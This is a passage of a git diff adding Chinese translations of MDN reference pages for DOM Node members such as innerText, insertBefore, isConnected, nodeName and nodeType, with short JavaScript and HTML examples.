+ 添加以下方法: compareDocumentPosition(), isSameNode(), lookupPrefix(), isDefaultNamespace(), lookupNamespaceURI(), isEqualNode(), getFeature(), setUserData(), and getUserData().
+ 添加以下属性: baseURItextContent.
{{SpecName("DOM2 Core", "core.html#ID-1950641247", "Node")}}{{Spec2("DOM2 Core")}}修改 ownerDocument 属性,当访问 {{DOMxRef("DocumentFragment")}} 子节点的 ownerDocument 属性也会返回 null。
+ 添加下列属性: namespaceURI, prefix, 和 localName.
+ 添加下列方法: normalize(), isSupported()hasAttributes().
{{SpecName("DOM1", "level-one-core.html#ID-1950641247", "Node")}}{{Spec2("DOM1")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Node")}}

diff --git a/files/zh-cn/web/api/node/innertext/index.html b/files/zh-cn/web/api/node/innertext/index.html new file mode 100644 index 0000000000..3062dda65f --- /dev/null +++ b/files/zh-cn/web/api/node/innertext/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.innerText +slug: Web/API/Node/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("DOM")}}
+ +

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

+ +
+

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容, 而 textContent 则不会.

+
+ +

语法

+ +
var renderedText = HTMLElement.innerText;
+HTMLElement.innerText = string;
+ +

输出值

+ +

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

+ +

例子

+ +

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

+ +

HTML

+ +
<h3>Source element:</h3>
+<p id="source">
+  <style>#source { color: red; }</style>
+Take a look at<br>how this text<br>is interpreted
+       below.
+  <span style="display:none">HIDDEN TEXT</span>
+</p>
+<h3>Result of textContent:</h3>
+<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
+<h3>Result of innerText:</h3>
+<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
+ +

JavaScript

+ +
const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;
+ +

结果

+ +

{{EmbedLiveSample("Example", 700, 450)}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
+ +

浏览器兼容

+ + + +

{{Compat("api.HTMLElement.innerText")}}

+ +

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商(vendor)采用后,它于 2016 年正式进入 HTML 标准。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/node/insertbefore/index.html b/files/zh-cn/web/api/node/insertbefore/index.html new file mode 100644 index 0000000000..1d4b2c643f --- /dev/null +++ b/files/zh-cn/web/api/node/insertbefore/index.html @@ -0,0 +1,176 @@ +--- +title: Node.insertBefore() +slug: Web/API/Node/insertBefore +tags: + - API + - DOM + - Method + - Node + - 参考 + - 方法 + - 节点 +translation_of: Web/API/Node/insertBefore +--- +
{{APIRef("DOM")}}
+ +

Node.insertBefore() 方法在参考节点之前插入一个拥有指定父节点的子节点。如果给定的子节点是对文档中现有节点的引用,insertBefore() 会将其从当前位置移动到新位置(在将节点附加到其他节点之前,不需要从其父节点删除该节点)。

+ +

这意味着一个节点不能同时位于文档的两个点中。因此,如果节点已经有父节点,则首先删除该节点,然后将其插入到新位置。在将节点追加到新父节点之前,可以使用 {{domxref("Node.cloneNode()")}} 复制节点。注意,使用 cloneNode() 创建的节点副本不会自动与原始节点保持同步。

+ +

如果引用节点为 null,则将指定的节点添加到指定父节点的子节点列表的末尾。

+ +

如果给定的子节点是 {{domxref("DocumentFragment")}},那么 DocumentFragment 的全部内容将被移动到指定父节点的子节点列表中。

+ +

语法

+ +
var insertedNode = parentNode.insertBefore(newNode, referenceNode);
+
+ + + +

如果 referenceNode 为 nullnewNode 将被插入到子节点的末尾

+ +
+

referenceNode 引用节点不是可选参数——你必须显式传入一个 Node 或者 null。如果不提供节点或者传入无效值,在不同的浏览器中会有不同表现

+
+ +

返回值

+ +

函数返回被插入过的子节点;当 newNode 是 {{domxref("DocumentFragment")}} 时,返回空 {{domxref("DocumentFragment")}}。

+ +

例子

+ +

示例 1

+ +
<div id="parentElement">
+   <span id="childElement">foo bar</span>
+</div>
+
+<script>
+// 创建要插入的节点
+var newNode = document.createElement("span");
+
+// 获得父节点的引用
+var parentDiv = document.getElementById("childElement").parentNode;
+
+//实验一:referenceNode 存在 --> 正确返回
+var sp2 = document.getElementById("childElement");
+parentDiv.insertBefore(newNode, sp2);
+//实验一结束
+
+//实验二:referenceNode 为 undefined
+var sp2 = undefined; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); //隐式转换到节点类型
+//实验二结束
+
+//实验三:referenceNode 为字符类型的 "undefined"
+var sp2 = "undefined"; //不存在id为"childElement"的referenceNode
+parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
+//实验三结束
+</script>
+
+ +

示例 2

+ +
<div id="parentElement">
+  <span id="childElement">foo bar</span>
+</div>
+
+<script>
+//创建一个新的、普通的<span>元素
+var sp1 = document.createElement("span");
+
+//插入节点之前,要获得节点的引用
+var sp2 = document.getElementById("childElement");
+//获得父节点的引用
+var parentDiv = sp2.parentNode;
+
+//在DOM中在sp2之前插入一个新元素
+parentDiv.insertBefore(sp1, sp2);
+</script>
+
+ +

没有 insertAfter()。不过,可以使用 insertBefore 和 {{domxref("Node.nextSibling")}} 来模拟它。

+ +

在前一个例子中,可使用下面代码将 sp1 插入到 sp2 之后:

+ +
parentDiv.insertBefore(sp1, sp2.nextSibling);
+ +

如果 sp2 没有下一个节点,则它肯定是最后一个节点,则 sp2.nextSibling 返回 null,且 sp1 被插入到子节点列表的最后面(即 sp2 后面)。

+ +

示例 3

+ +

在第一个子元素的前面插入一个元素,可使用 firstChild 属性。

+ +
//插入节点之前,要获得节点的引用
+var parentElement = document.getElementById('parentElement');
+//获得第一个子节点的引用
+var theFirstChild = parentElement.firstChild;
+
+//创建新元素
+var newElement = document.createElement("div");
+
+//在第一个子节点之前插入新元素
+parentElement.insertBefore(newElement, theFirstChild);
+
+ +

当元素没有首节点时,firstChild 返回 null。该元素仍然会被插入到父元素中,位于最后一个节点后面。又由于父元素没有第一个子节点,也没有最后一个子节点。 最终,新元素成为唯一的子元素。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Node.insertBefore")}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}{{Spec2('DOM WHATWG')}}Fixes errors in the insertion algorithm
{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}{{Spec2('DOM4')}}Describes the algorithm in more detail
{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}{{Spec2('DOM3 Core')}}No notable changes
{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}{{Spec2('DOM2 Core')}}No notable changes
{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}{{Spec2('DOM1')}}Introduced
+ +

参见

+ + diff --git a/files/zh-cn/web/api/node/isconnected/index.html b/files/zh-cn/web/api/node/isconnected/index.html new file mode 100644 index 0000000000..f374672b45 --- /dev/null +++ b/files/zh-cn/web/api/node/isconnected/index.html @@ -0,0 +1,93 @@ +--- +title: Node.isConnected +slug: Web/API/Node/isConnected +tags: + - API + - DOM + - Node + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/Node/isConnected +--- +
{{APIRef("DOM")}}
+ +

isConnected 是 {{domxref("Node")}} 的一个只读属性接口。无论节点是否与 DOM 树连接,该属性都会返回一个{{domxref("Boolean", "布尔值")}}。例如: {{domxref("Document")}} 对象与一般 DOM 树连接,{{domxref("ShadowRoot")}} 与 shadow DOM 连接。

+ +

语法

+ +
var isItConnected = nodeObjectInstance.isConnected
+ +

返回值

+ +

返回 {{domxref("Boolean", "布尔值")}} — 如果该节点与 DOM 树连接则返回 true, 否则返回 false

+ +

样例

+ +

标准 DOM 树

+ +
let test = document.createElement('p');
+console.log(test.isConnected); // Returns false
+document.body.appendChild(test);
+console.log(test.isConnected); // Returns true
+
+ +

Shadow DOM 树

+ +
// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+console.log(style.isConnected); // returns false
+
+style.textContent = '.wrapper {' +
+                       'position: relative;' +
+                    '}' +
+
+                     '.info {' +
+                        'font-size: 0.8rem;' +
+                        'width: 200px;' +
+                        'display: inline-block;' +
+                        'border: 1px solid black;' +
+                        'padding: 10px;' +
+                        'background: white;' +
+                        'border-radius: 10px;' +
+                        'opacity: 0;' +
+                        'transition: 0.6s all;' +
+                        'position: absolute;' +
+                        'bottom: 20px;' +
+                        'left: 10px;' +
+                        'z-index: 3;' +
+                      '}' +
+
+// Attach the created style element to the shadow dom
+
+shadow.appendChild(style);
+console.log(style.isConnected); // Returns true
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG','#dom-node-isconnected','isConnected')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ + + +

{{Compat("api.Node.isConnected")}}

diff --git a/files/zh-cn/web/api/node/isdefaultnamespace/index.html b/files/zh-cn/web/api/node/isdefaultnamespace/index.html new file mode 100644 index 0000000000..da2d0d0c86 --- /dev/null +++ b/files/zh-cn/web/api/node/isdefaultnamespace/index.html @@ -0,0 +1,26 @@ +--- +title: Node.isDefaultNamespace +slug: Web/API/Node/isDefaultNamespace +translation_of: Web/API/Node/isDefaultNamespace +--- +

{{ ApiRef() }}

+

概述

+

isDefaultNamespace 接受一个命名空间URI作为参数,如果该命名空间是当前节点的默认命名空间,则返回true,否则返回false.

+

语法

+
result = node.isDefaultNamespace(namespaceURI)
+
+ +

例子

+
var XULNS = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
+var el = document.getElementsByTagNameNS(XULNS, 'textbox')[0];
+alert(el.isDefaultNamespace(XULNS)); // true
+
+

规范

+ +

{{ languages( {"en": "en/DOM/Node.isDefaultNamespace" } ) }}

diff --git a/files/zh-cn/web/api/node/isequalnode/index.html b/files/zh-cn/web/api/node/isequalnode/index.html new file mode 100644 index 0000000000..c2127a8aed --- /dev/null +++ b/files/zh-cn/web/api/node/isequalnode/index.html @@ -0,0 +1,124 @@ +--- +title: Node.isEqualNode +slug: Web/API/Node/isEqualNode +tags: + - API + - DOM + - Node + - 参考 + - 方法 + - 节点 +translation_of: Web/API/Node/isEqualNode +--- +
{{ ApiRef("DOM") }}
+ +

 Node.isEqualNode() 方法可以判断两个节点是否相等。当两个节点的类型相同,定义特征(defining characteristics)相同(对元素来说,即 id,孩子节点的数量等等),属性一致等,这两个节点就是相等的。一些具体的数据指出:多数时候的比较是根据节点的类型来的。

+ +

语法

+ +
var isEqualNode = node.isEqualNode(otherNode);
+
+ + + +

示例

+ +

在本例中,我们创建了三个 {{HTMLElement("div")}} 块。第一个和第三个 div 都拥有相同的内容和属性,第二个则不一样。然后我们运行 JavaScript ,使用 isEqualNode() 来比较这几个节点。

+ +

HTML

+ +
<div>This is the first element.</div>
+<div>This is the second element.</div>
+<div>This is the first element.</div>
+
+<p id="output"></p>
+ +

JavaScript

+ +
let output = document.getElementById("output");
+let divList  = document.getElementsByTagName("div");
+
+output.innerHTML += "div 0 equals div 0: " + divList[0].isEqualNode(divList[0]) + "<br/>";
+output.innerHTML += "div 0 equals div 1: " + divList[0].isEqualNode(divList[1]) + "<br/>";
+output.innerHTML += "div 0 equals div 2: " + divList[0].isEqualNode(divList[2]) + "<br/>";
+ +

结果

+ +

{{ EmbedLiveSample('示例', 480) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-node-isequalnode', 'Node.isEqualNode')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9")}}9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/node/issamenode/index.html b/files/zh-cn/web/api/node/issamenode/index.html new file mode 100644 index 0000000000..ac0bf1fc21 --- /dev/null +++ b/files/zh-cn/web/api/node/issamenode/index.html @@ -0,0 +1,27 @@ +--- +title: Node.isSameNode +slug: Web/API/Node/isSameNode +translation_of: Web/API/Node/isSameNode +--- +

{{ ApiRef() }}

+

{{ Obsolete_header() }}

+

概述

+

判断两个节点是否是相同的节点,即指向同一个对象.

+
+ 警告:该方法已在DOM level 4中被废弃,最近的浏览器版本(Gecko 10.0 {{ geckoRelease("10.0") }}.)已经删除了这个方法.
+ 也就是说,不要再使用
+   node1.isSameNode(node2)
+ 而使用
+   node1 === node2  或者  node1 == node2
+ 来代替.
+

语法

+
var isSameNode = node.isSameNode(other);
+
+ +

规范

+ diff --git a/files/zh-cn/web/api/node/issupported/index.html b/files/zh-cn/web/api/node/issupported/index.html new file mode 100644 index 0000000000..85b083217e --- /dev/null +++ b/files/zh-cn/web/api/node/issupported/index.html @@ -0,0 +1,37 @@ +--- +title: Node.isSupported +slug: Web/API/Node/isSupported +translation_of: Web/API/Node/isSupported +--- +

{{obsolete_header(22)}} {{ ApiRef() }}

+

概述

+

检测当前环境是否在某个节点上实现了指定的DOM特性.

+

语法

+
node.isSupported(feature, version)
+
+
+ feature
+
+ 需要检测的特性名称.这个参数和DOMImplementation对象上的hasFeature方法的同名参数作用相同,其中所有有效的特性名称都列在了DOM Level 2中的Conformance一节.
+
+ version
+
+

需要检测的特性版本号.在DOM Level 2第一版中,这个参数的值应该写为字符串2.0.如果省略了这个参数,则无论环境实现了哪个版本的需检测特性,这个方法都会返回true.

+
+
+

示例

+
<div id="doc">
+</div>
+
+<script>
+ // 获取一个元素,然后检查它是否支持DOM2 HTML模型.
+ var main = document.getElementById('doc');
+ var output = main.isSupported('HTML', '2.0');
+</script>
+
+

规范

+

DOM Level 2 Core: isSupported

+

Gecko附注

+ diff --git a/files/zh-cn/web/api/node/lastchild/index.html b/files/zh-cn/web/api/node/lastchild/index.html new file mode 100644 index 0000000000..72e9d6b1c5 --- /dev/null +++ b/files/zh-cn/web/api/node/lastchild/index.html @@ -0,0 +1,21 @@ +--- +title: Node.lastChild +slug: Web/API/Node/lastChild +tags: + - Property +translation_of: Web/API/Node/lastChild +--- +

{{APIRef()}}

+

概述

+

Node.lastChild 是一个只读属性,返回当前节点的最后一个子节点。如果父节点为一个元素节点,则子节点通常为一个元素节点,或一个文本节点,或一个注释节点。如果没有子节点,则返回 null

+

语法

+
var last_child = element.lastChild
+

示例

+
var tr = document.getElementById("row1");
+var corner_td = tr.lastChild;
+
+

规范

+ diff --git a/files/zh-cn/web/api/node/localname/index.html b/files/zh-cn/web/api/node/localname/index.html new file mode 100644 index 0000000000..de9dcc4680 --- /dev/null +++ b/files/zh-cn/web/api/node/localname/index.html @@ -0,0 +1,64 @@ +--- +title: Node.localName +slug: Web/API/Node/localName +translation_of: Web/API/Node/localName +--- +
+ {{ApiRef}}
+

Summary

+

Returns the local part of the qualified name of this node.

+

Syntax

+
name = element.localName
+
+ +

Example

+

(Must be served with XML content type, such as text/xml or application/xhtml+xml.)

+
<html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg">
+<head>
+  <script type="application/javascript"><![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "<svg:circle> has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]></script>
+</head>
+<body onload="test()">
+  <svg:svg version="1.1"
+    width="100px" height="100px"
+    viewBox="0 0 100 100">
+    <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/>
+  </svg:svg>
+  <textarea id="text" rows="4" cols="55"/>
+</body>
+</html>
+
+

Notes

+

The local name of a node is that part of the node's qualified name that comes after the colon. Qualified names are typically used in XML as part of the namespace(s) of the particular XML documents. For example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix:

+
<ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm">
+  <ecomm:partners>
+    <ecomm:partner id="1001">Tony's Syrup Warehouse
+    </ecomm:partner>
+  </ecomm:partner>
+</ecomm:business>
+
+ +
+

Note: In {{Gecko("1.9.2")}} and earlier, the property returns the upper-cased version of the local name for HTML elements in HTML DOMs (as opposed to XHTML elements in XML DOMs). In later versions, in compliance with HTML5, the property returns in the case of the internal DOM storage, which is lower case for both HTML elements in HTML DOMs and XHTML elements in XML DOMs. The {{domxref("element.tagName","tagName")}} property continues to return in the upper case for HTML elements in HTML DOMs.

+
+

For nodes of any type other than ELEMENT_NODE and ATTRIBUTE_NODE localName is always null.

+

Specification

+ +

See also

+ diff --git a/files/zh-cn/web/api/node/lookupnamespaceuri/index.html b/files/zh-cn/web/api/node/lookupnamespaceuri/index.html new file mode 100644 index 0000000000..f2cf78b283 --- /dev/null +++ b/files/zh-cn/web/api/node/lookupnamespaceuri/index.html @@ -0,0 +1,19 @@ +--- +title: Node.lookupNamespaceURI +slug: Web/API/Node/lookupNamespaceURI +translation_of: Web/API/Node/lookupNamespaceURI +--- +
{{APIRef("DOM")}}
+ +

返回当前节点上与指定命名空间前缀绑定的命名空间URI,如果没有,返回null,如果参数为null,返回默认的命名空间.

+ +

根据 bug 312019, 该方法对动态指定的命名空间不起作用.(也就是通过Node.prefix指定的).

+ +

相关链接

+ + + +

{{ languages( { "en": "en/DOM/Node.lookupNamespaceURI" } ) }}

diff --git a/files/zh-cn/web/api/node/lookupprefix/index.html b/files/zh-cn/web/api/node/lookupprefix/index.html new file mode 100644 index 0000000000..0f9210e2f7 --- /dev/null +++ b/files/zh-cn/web/api/node/lookupprefix/index.html @@ -0,0 +1,19 @@ +--- +title: Node.lookupPrefix +slug: Web/API/Node/lookupPrefix +translation_of: Web/API/Node/lookupPrefix +--- +
{{APIRef("DOM")}}
+ +

返回一个和指定命名空间URI绑定的命名空间前缀.如果没有,返回null. 如果有多个绑定的前缀, 返回的结果根据浏览器实现而定.

+ +

根据 bug 312019, 该方法对动态指定的命名空间不起作用.(也就是通过Node.prefix指定的).

+ +

相关链接

+ + + +

{{ languages( { "en": "en/DOM/Node.lookupPrefix" } ) }}

diff --git a/files/zh-cn/web/api/node/namespaceuri/index.html b/files/zh-cn/web/api/node/namespaceuri/index.html new file mode 100644 index 0000000000..2aab7351fe --- /dev/null +++ b/files/zh-cn/web/api/node/namespaceuri/index.html @@ -0,0 +1,138 @@ +--- +title: Node.namespaceURI +slug: Web/API/Node/namespaceURI +translation_of: Web/API/Node/namespaceURI +--- +
{{APIRef("DOM")}}{{obsolete_header}}
+ +

Node.namespaceURI 是一个只读属性,返回节点的命名空间URI(namespace URI),如果节点不在一个命名空间中,则返回 null。当节点是文档节点时,返回当前文档的 XML 命名空间(namespace)。

+ +
+

在 DOM4 中, 此接口从Node 被移入 {{domxref("Element")}} 和 {{domxref("Attr")}}接口.

+
+ +

语法

+ +
namespace = node.namespaceURI
+ +

示例

+ +

在这个示例中, 使用 localName 和 namespaceURI来检查这个node. 如果 namespaceURI 返回 XUL 命名空间并且 localName 返回 "browser", 说明这个节点属于 XUL <browser/>.

+ +
if (node.localName == "browser" &&
+    node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // this is a XUL browser
+}
+ +

备注

+ +

这不是一个计算值,它是基于检查范围内的命名空间声明的名称空间查找的结果。节点的命名空间URI在节点创建时被固定。

+ +

在Firefox 3.5或更早的版本中,HTML文档中HTML元素的名称空间URI是null。在之后的版本中,由http://www.w3.org/1999/xhtml 作为XHTML,符合HTML5. {{gecko_minversion_inline("1.9.2")}}

+ +

除了ELEMENT_NODE a和 ATTRIBUTE_NODE 以外的 nodeType 中 node 的 namespaceURI 永远是null.

+ +

你可以使用DOM2的方法 document.createElementNS 来创建一个有特殊 namespaceURI 的元素.

+ +

XML的命名空间中,属性不会从它附加到的元素继承它的命名空间。如果属性未显式地给出命名空间,则它没有命名空间.

+ +

DOM本身不处理或执行命名空间验证, 因此应该有由DOM应用程序进行必要的验证。请注意,命名空间前缀一旦与特定节点关联,则不能更改.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM3 Core", "core.html#ID-NodeNSname", "Node.namespaceURI")}}{{Spec2("DOM3 Core")}}当设置为 null 是指定动作.
{{SpecName("DOM2 Core", "core.html#Namespaces-Considerations", "DOM Level 2 Core: XML Namespaces")}}{{Spec2("DOM2 Core")}} 
{{SpecName("DOM2 Core", "core.html#ID-NodeNSname", "Node.namespaceURI")}}{{Spec2("DOM2 Core")}}初始化
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特征ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
是否支持{{CompatVersionUnknown}}
+ {{CompatNo}}46.0[1]
{{CompatVersionUnknown}}{{CompatVersionUnknown}}[2]
+ {{CompatNo}} {{CompatGeckoDesktop("48.0")}}[1]
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特征AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
是否支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[2]
+ {{CompatNo}} {{CompatGeckoMobile("48.0")}}[1]
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 从DOM4标准开始, 此接口被移入{{domxref("Element")}} 和 {{domxref("Attr")}} 接口.

+ +

[2] 在 Gecko 5.0 之前 {{geckoRelease("5.0")}}, 这是一个读写属性; 从 Gecko 5.0 起,这是一个只读属性, 符合标准.

+ +

参考

+ + diff --git a/files/zh-cn/web/api/node/nextsibling/index.html b/files/zh-cn/web/api/node/nextsibling/index.html new file mode 100644 index 0000000000..2ea2eb4e2b --- /dev/null +++ b/files/zh-cn/web/api/node/nextsibling/index.html @@ -0,0 +1,78 @@ +--- +title: Node.nextSibling +slug: Web/API/Node/nextSibling +translation_of: Web/API/Node/nextSibling +--- +
{{APIRef}}
+ +

Node.nextSibling 是一个只读属性,返回其父节点的 {{domxref("Node.childNodes","childNodes")}} 列表中紧跟在其后面的节点,如果指定的节点为最后一个节点,则返回 null

+ +

语法

+ +
nextNode = node.nextSibling
+
+ +

备注

+ +

 

+ +

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, 而不是使用者所预期得到的节点.

+ +

详情请参见 DOM 中的空白符W3C DOM 3 FAQ: 为什么一些文本节点是空的.

+ +

 

+ +

示例

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+
+<script type="text/javascript">
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Siblings of div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+</script>
+
+/**************************************************
+  The following is written to the console as it loads:
+
+     Siblings of div-01
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+
+ +

从上面的例子中可以看出,在两个标签之间(即一个元素的闭合标签之后,下一个元素的起始标签之前)有空白出现时,会有#text 节点被插入到 DOM 中。使用 document.write 语句插入的两个元素之间不会有空白。

+ +

The possible inclusion of text nodes in the DOM must be allowed for when traversing the DOM using nextSibling. See the resources in the Notes section.

+ +

规范

+ + + +

相关链接

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.Node.nextSibling")}}

diff --git a/files/zh-cn/web/api/node/nodename/index.html b/files/zh-cn/web/api/node/nodename/index.html new file mode 100644 index 0000000000..632d06407f --- /dev/null +++ b/files/zh-cn/web/api/node/nodename/index.html @@ -0,0 +1,102 @@ +--- +title: Node.nodeName +slug: Web/API/Node/nodeName +translation_of: Web/API/Node/nodeName +--- +
+ {{APIRef}}
+
+  
+
+ 概述
+

返回当前节点的节点名称

+

语法

+
var str = node.nodeName;
+
+ +

附注

+

下表列出了所有类型的节点的nodeName属性的值.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
接口nodeName属性值
Attr等同于 Attr.name 属性的值
CDATASection"#cdata-section"
Comment"#comment"
Document"#document"
DocumentFragment"#document-fragment"
DocumentType +

等同于 DocumentType.name 属性的值

+
Element +

等同于 Element.tagName 属性的值

+
Entity实体名称
EntityReference实体引用名称
NotationNotation名称
ProcessingInstruction +

等同于 ProcessingInstruction.target 属性的值

+
text"#text"
+

示例

+

假设已经存在下面的HTML:

+
<div id="d1">hello world</div>
+<input type="text" id="t"/>
+
+

以及下面的JavaScript:

+
var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+
+text_field.value = div1.nodeName;
+
+

在XHTML(以及属于XML类型的文档)中,变量text_field包含的值会是小写的"div".还在HTML中,变量text_field包含的值会是大写的"DIV",nodeNametagName属性都有这种表现.查看details on nodeName case sensitivity in different browsers一文深入了解.

+

如果是元素节点,nodeName属性和tagName属性返回相同的值,但如果是文本节点,nodeName属性会返回"#text",而tagName属性会返回undefined.

+

规范

+ diff --git a/files/zh-cn/web/api/node/nodeprincipal/index.html b/files/zh-cn/web/api/node/nodeprincipal/index.html new file mode 100644 index 0000000000..0bd42ab7cf --- /dev/null +++ b/files/zh-cn/web/api/node/nodeprincipal/index.html @@ -0,0 +1,18 @@ +--- +title: Node.nodePrincipal +slug: Web/API/Node/nodePrincipal +translation_of: Web/API/Node +--- +
+ {{APIRef}}{{Fx_minversion_header(3)}}{{Non-standard_header}} +

The Node.nodePrincipal read-only property returns the {{Interface("nsIPrincipal")}} object representing current security context of the node.

+

{{Note("This property exists on all nodes (HTML, XUL, SVG, MathML, etc.), but only if the script trying to use it has chrome privileges.")}}

+

Syntax

+
principalObj = element.nodePrincipal
+
+

Notes

+

This property is read-only; attempting to write to it will throw an exception. In addition, this property may only be accessed from privileged code.

+

Specification

+

Not in any specification.

+
+

 

diff --git a/files/zh-cn/web/api/node/nodetype/index.html b/files/zh-cn/web/api/node/nodetype/index.html new file mode 100644 index 0000000000..f535443f96 --- /dev/null +++ b/files/zh-cn/web/api/node/nodetype/index.html @@ -0,0 +1,177 @@ +--- +title: Node.nodeType +slug: Web/API/Node/nodeType +tags: + - API + - DOM + - Gecko + - Property + - Reference +translation_of: Web/API/Node/nodeType +--- +
+
{{APIRef("DOM")}}
+
+ +

只读属性 Node.nodeType 表示的是该节点的类型。

+ +

描述

+ +

nodeType 属性可用来区分不同类型的节点,比如 {{domxref("Element", "元素")}}, {{domxref("Text", "文本")}} 和 {{domxref("Comment", "注释")}}。

+ +

语法

+ +
var type = node.nodeType;
+
+ +

返回一个整数,其代表的是节点类型。其所有可能的值请参考 {{anch("节点类型常量")}}.

+ +

常量

+ +

节点类型常量

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
Node.ELEMENT_NODE1一个 {{domxref("Element", "元素")}} 节点,例如 {{HTMLElement("p")}} 和 {{HTMLElement("div")}}
Node.TEXT_NODE3{{domxref("Element")}} 或者 {{domxref("Attr")}} 中实际的  {{domxref("Text", "文字")}}
Node.CDATA_SECTION_NODE4一个 {{domxref("CDATASection")}},例如 <!CDATA[[ … ]]>
Node.PROCESSING_INSTRUCTION_NODE7一个用于XML文档的 {{domxref("ProcessingInstruction")}} ,例如 <?xml-stylesheet ... ?> 声明。
Node.COMMENT_NODE8一个 {{domxref("Comment")}} 节点。
Node.DOCUMENT_NODE9一个 {{domxref("Document")}} 节点。
Node.DOCUMENT_TYPE_NODE10描述文档类型的 {{domxref("DocumentType")}} 节点。例如 <!DOCTYPE html>  就是用于 HTML5 的。
Node.DOCUMENT_FRAGMENT_NODE11一个 {{domxref("DocumentFragment")}} 节点
+ +

已弃用的节点类型常量 {{deprecated_inline()}}

+ +

以下常量已被弃用,请不要使用。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
